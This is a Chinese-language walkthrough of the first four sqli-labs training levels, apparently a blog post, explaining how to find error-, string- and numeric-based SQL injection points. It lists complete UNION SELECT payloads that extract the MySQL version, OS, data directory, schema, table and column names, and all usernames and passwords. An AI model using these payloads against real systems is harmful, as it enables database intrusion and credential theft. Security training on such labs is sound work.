以下使用sqli-labs靶场进行练习sql注入
关于靶场的搭建,可参考:https://blog.csdn.net/Goodric/article/details/110098085
Less-1
用 ?id=xxx 进行 get 请求,来判断是否存在 sql 注入, 可以在url中看到传递的参数。
输入 ?id=1 and 1 = 2 --+ ,回显正常,此处不是数字型注入。
再输入?id=1’ (后面加一个), 回显不正常,可能存在sql注入漏洞, 大概率就是字符注入了。
get参数 1 被 ‘ 单引号括在一起。
用 order by 猜解表中的列数。在order by 后面加数字尝试出有列数有多少。
尝试到4列时报错,所以表中有三列。
还可以使用union select语句回显 猜解列数union的作用是将两个sql语句进行联合。
使用联合查询需要注意的一个点:
语句 ?id=-1 , 联合查询只有一个回显值 所以要随便选一个不存在的值,即值不能用 1等存在的值,可以等于999、-2等不存在的值
union前后的两个sql语句的选择列数要相同才可以。
union select 1 --+
union select 1,2 --+
union select 1,2,3 --+
…
一直增加数字,增加到数字不报错时,就可判断当前列数,所以列数就是前一个列数。
这里到数字 3 时回显正确,得到列数为 3。
使用联合查询,查看回显。
爆mysql版本和操作系统信息
union select 1,version(),@@version_compile_os --+
爆数据库用户名和数据库名
union select 1,user(),database() --+
爆数据库路径
union select 1,2,@@datadir --+
爆出一个数据库
union select 1,null,schema_name from information_schema.schemata limit 0,1 --+
爆出全部数据库 union select 1,null,group_concat(schema_name) from information_schema.schemata --+
爆出数据库" security "里的一个表名
union select 1,null,(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+
爆出数据库" security "里的所有表名
union select 1,null,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
爆user表的列
从表名" users "中爆出一个字段来
union select 1,null,( select column_name from information_schema.columns where table_schema =database() and table_name=‘users’ limit 0,1) --+
从表名" users "中爆出全部字段来
union select 1,null,( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=‘users’ ) --+
爆所有用户名和密码
从" users “表里对应的列名中爆出一个数据来
union select 1,null,concat(id,0x7e,username,0x7e),password from users limit 0,1 --+
从” users "表里对应的列名中爆出所有数据来
union select 1,null,(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+
Less-2
首先加 ?id=1 ,回显正常,加上单引号 ?id=-1’ ,回显错误
回显语句经翻译为: 以在第 1 行的 “限制 0, 1” 附近使用正确的语法。(似乎把回显的英文语句翻译过来也不知道什么意思,但强迫症还是看看心里舒坦~)
可知单引号影响了闭合,为数字型注入。
所以不添加单引号,也不需要注释了,直接在后面添加语句,进行联合查询。
例如用 order by 猜解列数。1 后面不需要单引号,最后面不需要注释符。
后面就和 less-1 的相同,使用联合查询,可进行
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。
Less-3
添加 ?id=1’ ,回显错误。
回显语句翻译为:以在行 1 的 “1’) 限制 0, 1” 附近使用正确的语法
所以构造正确语句:?id=-1’)
同样用 猜解列数 order by 语句尝试一下,同时也不要忘了后面的注释。
然后就可以进行联合查询,
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。
Less-4
注入试探,加单引号 ?id=1’ ,回显正常。 加双引号 ?id=1" ,回显反而是错误的。
翻译回显语句:以选择在第 1 行的 “1”) 限制 0,1 附近使用的正确语法。
所以构造正确语句: ?id=-1")
用用 猜解列数 order by 语句尝试。
然后就可以进行联合查询,
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。